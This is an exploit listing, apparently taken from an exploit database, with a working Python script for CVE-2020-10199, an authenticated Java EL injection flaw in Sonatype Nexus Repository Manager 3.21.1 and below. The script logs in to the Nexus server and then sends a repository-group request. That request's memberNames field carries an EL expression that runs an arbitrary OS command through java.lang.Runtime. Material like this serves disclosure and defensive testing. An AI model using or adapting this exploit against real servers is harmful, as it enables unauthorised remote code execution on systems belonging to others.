Share
## https://sploitus.com/exploit?id=PACKETSTORM:160835
# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)  
# Exploit Author: 1F98D  
# Original Author: Alvaro Muñoz  
# Date: 27 May 2020  
# Vendor Hompage: https://www.sonatype.com/  
# CVE: CVE-2020-10199  
# Tested on: Windows 10 x64  
# References:  
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype  
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype  
#   
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable  
# to Java EL injection which allows a low privilege user to remotely  
# execute code on the target server.  
#  
#!/usr/bin/python3  
  
import sys  
import base64  
import requests  
  
URL='http://192.168.1.1:8081'  
CMD='cmd.exe /c calc.exe'  
USERNAME='admin'  
PASSWORD='password'  
  
s = requests.Session()  
print('Logging in')  
body = {  
'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),  
'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')  
}  
r = s.post(URL + '/service/rapture/session',data=body)  
if r.status_code != 204:  
print('Login unsuccessful')  
print(r.status_code)  
sys.exit(1)  
print('Logged in successfully')  
  
body = {  
'name': 'internal',  
'online': True,  
'storage': {  
'blobStoreName': 'default',  
'strictContentTypeValidation': True  
},  
'group': {  
'memberNames': [  
'$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'  
]  
},  
}  
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)  
if 'java.lang.ProcessImpl' in r.text:  
print('Command executed')  
sys.exit(0)  
else:  
print('Error executing command, the following was returned by Nexus')  
print(r.text)